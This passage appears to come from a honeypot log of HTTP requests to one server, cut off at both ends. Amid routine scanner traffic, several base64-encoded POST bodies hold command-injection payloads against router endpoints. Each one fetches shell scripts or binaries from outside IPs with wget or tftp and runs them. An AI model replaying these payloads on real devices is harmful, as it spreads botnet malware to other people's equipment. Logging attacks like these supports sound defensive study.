rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/new/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/test/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/backup/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/temp/", "Http_Version": "HTTP/1.1"} -{"ip": "194.163.155.246", "Accept_Encoding": "gzip,deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "87.236.176.107", "Accept": "*/*", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.52", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "192.241.236.10", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/portal/redlion", "Http_Version": "HTTP/1.1"} -{"ip": "182.42.111.213", "Accept": "*/*", "Accept_Encoding": "gzip", "Accept_Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "156.199.86.172", "Cookie": "user=admin", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTt3Z2V0IGh0dHA6Ly85NC4xNTYuNi45Ny9tcHNsOyBjaG1vZCA3NzcgbXBzbDsgLi9tcHNsIGxibGluay5zZWxmcmVwOw0KDQo="} -{"ip": "178.238.238.29", "Method": "GET", "Path": "/w00tw00t.at.ISC.SANS.DFind:)", "Http_Version": "HTTP/1.1"} -{"ip": "178.238.238.29", "Method": "GET", "Path": "/w00tw00t.at.ISC.SANS.DFind:)", "Http_Version": "HTTP/1.1"} -{"ip": "78.108.177.52", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "103.56.61.144", "Accept": "text/html,application/xhtml+xml,application/xml", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "103.56.61.144", "Accept": "text/html,application/xhtml+xml,application/xml", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "103.56.61.144", "Accept": "text/html,application/xhtml+xml,application/xml", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "103.56.61.144", "Accept": "text/html,application/xhtml+xml,application/xml", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36", "Method": "GET", "Path": "/.well-known/security.txt", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "34.76.158.233", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.31.0", "x-datadog-trace-id": "15167701668329799023", "x-datadog-parent-id": "1132017756926614960", "x-datadog-sampling-priority": "1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.192", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.193", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "118.194.236.142", "Accept_Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "118.194.236.142", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "118.194.236.142", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "118.194.236.142", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "118.194.236.142", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.27.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "198.199.114.47", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "47.197.157.168", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "120.63.180.123", "Content_Type": "application/x-www-form-urlencoded", "Method": "POST", "Path": "/cgi-bin/luci/;stok=/locale?form=country", "Http_Version": "HTTP/1.1", "POST_Payload": "b3BlcmF0aW9uPXdyaXRlJmNvdW50cnk9JCh3Z2V0IGh0dHA6Ly8xOTQuMTgwLjQ4LjEwMC9sLnNoICYmIHNoIGwuc2g+L3RtcC9vdXQpDQoNCg=="} -{"ip": "120.63.180.123", "Content_Type": "application/x-www-form-urlencoded", "Method": "POST", "Path": "/cgi-bin/luci/;stok=/locale?form=country", "Http_Version": "HTTP/1.1", "POST_Payload": "b3BlcmF0aW9uPXdyaXRlJmNvdW50cnk9JCh3Z2V0IGh0dHA6Ly8xOTQuMTgwLjQ4LjEwMC9sLnNoICYmIHNoIGwuc2g+L3RtcC9vdXQpDQoNCg=="} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "5.188.210.227", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Cache_Control": "no-cache", "Connection": "close", "Content_Length": "0", "Cookie": "cookie=ok", "Host": "5.188.210.227", "Pragma": "no-cache", "Referer": "https://www.google.com/", "User_Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Method": "GET", "Path": "http://5.188.210.227/echo.php", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "96.127.174.90", "Accept_Encoding": "gzip", "Content_Length": "430", "Cookie": "user=admin", "Host": "116.202.22.148:8080", "User_Agent": "Go-http-client/1.1", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTtjZCAvdG1wIGNkIC92YXIvcnVuIGNkIC9tbnQgY2QgL3Jvb3QgY2QgLzsgd2dldCBodHRwOi8vODYuMTA3LjE3OS4yMzQvR2hPdWwuc2g7IGNobW9kIDc3NyBHaE91bC5zaDsgc2ggR2hPdWwuc2g7IHRmdHAgODYuMTA3LjE3OS4yMzQgLWMgZ2V0IHRmdHAxLnNoOyBjaG1vZCA3NzcgdGZ0cDEuc2g7IHNoIHRmdHAxLnNoOyB0ZnRwIC1yIHRmdHAyLnNoIC1nIDg2LjEwNy4xNzkuMjM0OyBjaG1vZCA3NzcgdGZ0cDIuc2g7IHNoIHRmdHAyLnNoOyBmdHBnZXQgLXYgLXUgYW5vbnltb3VzIC1wIGFub255bW91cyAtUCAyMSA4Ni4xMDcuMTc5LjIzNCBmdHAxLnNoIGZ0cDEuc2g7IHNoIGZ0cDEuc2g7IHJtIC1yZiBHaE91bC5zaCB0ZnRwMS5zaCB0ZnRwMi5zaCBmdHAxLnNoOyBybSAtcmYgKg=="} -{"ip": "95.214.55.115", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded", "Host": "127.0.0.1:8088", "Origin": "http://127.0.0.1:8088", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "95.214.55.115", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip", "Authorization": "Basic YWRtaW46YWRtaW4=", "Content_Length": "373", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:8080", "Origin": "http://127.0.0.1:8088", "Referer": "http://116.202.22.148:8080/apply.cgi", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Sec-Gpc": "1", "Method": "POST", "Path": "/apply.cgi", "Http_Version": "HTTP/1.1", "POST_Payload": "YWN0aW9uPUFwcGx5VGFrZSZjaGFuZ2VfYWN0aW9uPWdvemlsYV9jZ2kmZGVsX3ZhbHVlPSZob3N0PWh0dHAlM0ElMkYlMkYxMjcuMC4wLjElM0E4MDg4Jm5leHRfcGFnZT1EaWFnbm9zdGljcy5hc3AmcGluZ19pcD1jZCslMkZ0bXAlM0J3Z2V0K2h0dHAlM0ElMkYlMkY0NS44OC45MC4xMTMlMkZzZHhrelhfVVhBMjI5eC5tcHNsKy1PK21mdSUzQmNobW9kKzc3NyttZnUlM0IuJTJGbWZ1K2ZhaXRoJTNCK3JtKy1yZittZnUlM0Ird2dldCtodHRwJTNBJTJGJTJGNDUuODguOTAuMTEzJTJGc2R4a3pYX1VYQTIyOXgubXBzbCstTyttZnUlM0JjaG1vZCs3NzcrbWZ1JTNCLiUyRm1mdSttZW93JTNCJnN1Ym1pdF9idXR0b249UGluZyZzdWJtaXRfdHlwZT1zdGFydA=="} -{"ip": "34.77.127.183", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.31.0", "x-datadog-trace-id": "6106143377693262128", "x-datadog-parent-id": "5455777551304737972", "x-datadog-sampling-priority": "1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "78.108.177.50", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "165.232.177.124", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "38.7.199.228", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "192.241.230.41", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "104.248.143.84", "Accept": "*/*", "Accept_Charset": "UTF-8", "Accept_Encoding": "UTF-8", "Accept_Language": "*", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.145", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.142.182.101", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.142.182.101", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Content_Length": "196", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "User_Agent": "Mozila/5.0", "Method": "POST", "Path": "/web_shell_cmd.gch", "Http_Version": "HTTP/1.1", "POST_Payload": "SUZfQUNUSU9OPWFwcGx5JklGX0VSUk9SU1RSPVNVQ0MmSUZfRVJST1JQQVJBTT1TVUNDJklGX0VSUk9SVFlQRT0tMSZDbWQ9Y2QrJTJGdG1wJTNCd2dldCtodHRwJTNBJTJGJTJGaW50ZXJwb2wud3MlMkZmdWV6JTJGcG90YXIuc2glM0JjaG1vZCs3NzcrcG90YXIuc2glM0JzaCtwb3Rhci5zaCt6dGUlM0JybSstcmYrcG90YXIuc2gmQ21kQWNrPQ0KDQo="} -{"ip": "109.74.204.123", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/CSS/Miniweb.css", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/CSS/Miniweb.css", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/Portal0000.htm", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Host": "www.google.com", "Method": "GET", "Path": "http://www.google.com", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/nmaplowercheck1697944354", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Content_Length": "441", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "POST", "Path": "/sdk", "Http_Version": "HTTP/1.1", "POST_Payload": "PHNvYXA6RW52ZWxvcGUgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeG1sbnM6c29hcD0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvc29hcC9lbnZlbG9wZS8iPjxzb2FwOkhlYWRlcj48b3BlcmF0aW9uSUQ+MDAwMDAwMDEtMDAwMDAwMDE8L29wZXJhdGlvbklEPjwvc29hcDpIZWFkZXI+PHNvYXA6Qm9keT48UmV0cmlldmVTZXJ2aWNlQ29udGVudCB4bWxucz0idXJuOmludGVybmFsdmltMjUiPjxfdGhpcyB4c2k6dHlwZT0iTWFuYWdlZE9iamVjdFJlZmVyZW5jZSIgdHlwZT0iU2VydmljZUluc3RhbmNlIj5TZXJ2aWNlSW5zdGFuY2U8L190aGlzPjwvUmV0cmlldmVTZXJ2aWNlQ29udGVudD48L3NvYXA6Qm9keT48L3NvYXA6RW52ZWxvcGU+"} -{"ip": "109.74.204.123", "Connection": "close", "Content_Length": "441", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "POST", "Path": "/sdk", "Http_Version": "HTTP/1.1", "POST_Payload": "PHNvYXA6RW52ZWxvcGUgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeG1sbnM6c29hcD0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvc29hcC9lbnZlbG9wZS8iPjxzb2FwOkhlYWRlcj48b3BlcmF0aW9uSUQ+MDAwMDAwMDEtMDAwMDAwMDE8L29wZXJhdGlvbklEPjwvc29hcDpIZWFkZXI+PHNvYXA6Qm9keT48UmV0cmlldmVTZXJ2aWNlQ29udGVudCB4bWxucz0idXJuOmludGVybmFsdmltMjUiPjxfdGhpcyB4c2k6dHlwZT0iTWFuYWdlZE9iamVjdFJlZmVyZW5jZSIgdHlwZT0iU2VydmljZUluc3RhbmNlIj5TZXJ2aWNlSW5zdGFuY2U8L190aGlzPjwvUmV0cmlldmVTZXJ2aWNlQ29udGVudD48L3NvYXA6Qm9keT48L3NvYXA6RW52ZWxvcGU+"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/nmaplowercheck1697944355", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Host": "www.google.com", "Method": "HEAD", "Path": "http://www.google.com", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/__Additional", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/pools/default/buckets", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/HNAP1", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/nmaplowercheck1697944355", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/RRPh", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Content_Length": "232", "Content_Type": "text/xml", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "POST", "Path": "/scripts/WPnBr.dll", "Http_Version": "HTTP/1.1", "POST_Payload": "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pg0KPCFET0NUWVBFIE5GdXNlUHJvdG9jb2wgU1lTVEVNICJORnVzZS5kdGQiPg0KPE5GdXNlUHJvdG9jb2wgdmVyc2lvbj0iMS4xIj48UmVxdWVzdFNlcnZlckRhdGE+PFNlcnZlclR5cGU+YWxsPC9TZXJ2ZXJUeXBlPjxDbGllbnRUeXBlPmFsbDwvQ2xpZW50VHlwZT48L1JlcXVlc3RTZXJ2ZXJEYXRhPjwvTkZ1c2VQcm90b2NvbD4NCg=="} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/.git/HEAD", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/Portal0000.htm", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Method": "CONNECT", "Path": "www.google.com:80", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/pools", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/HNAP1", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "HEAD", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "HEAD", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/__Additional", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/qm0N", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/Portal/Portal.mwsl", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/.git/HEAD", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Content_Length": "232", "Content_Type": "text/xml", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "POST", "Path": "/scripts/WPnBr.dll", "Http_Version": "HTTP/1.1", "POST_Payload": "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pg0KPCFET0NUWVBFIE5GdXNlUHJvdG9jb2wgU1lTVEVNICJORnVzZS5kdGQiPg0KPE5GdXNlUHJvdG9jb2wgdmVyc2lvbj0iMS4xIj48UmVxdWVzdFNlcnZlckRhdGE+PFNlcnZlclR5cGU+YWxsPC9TZXJ2ZXJUeXBlPjxDbGllbnRUeXBlPmFsbDwvQ2xpZW50VHlwZT48L1JlcXVlc3RTZXJ2ZXJEYXRhPjwvTkZ1c2VQcm90b2NvbD4NCg=="} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/pools/default/buckets", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Host": "www.wikipedia.org", "Method": "GET", "Path": "http://www.wikipedia.org", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/docs/cplugError.html/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/Portal/Portal.mwsl", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": "/pools", "Http_Version": "HTTP/1.1"} -{"ip": "109.74.204.123", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de:8080", "User_Agent": "curl/7.54.0", "Method": "GET", "Path": 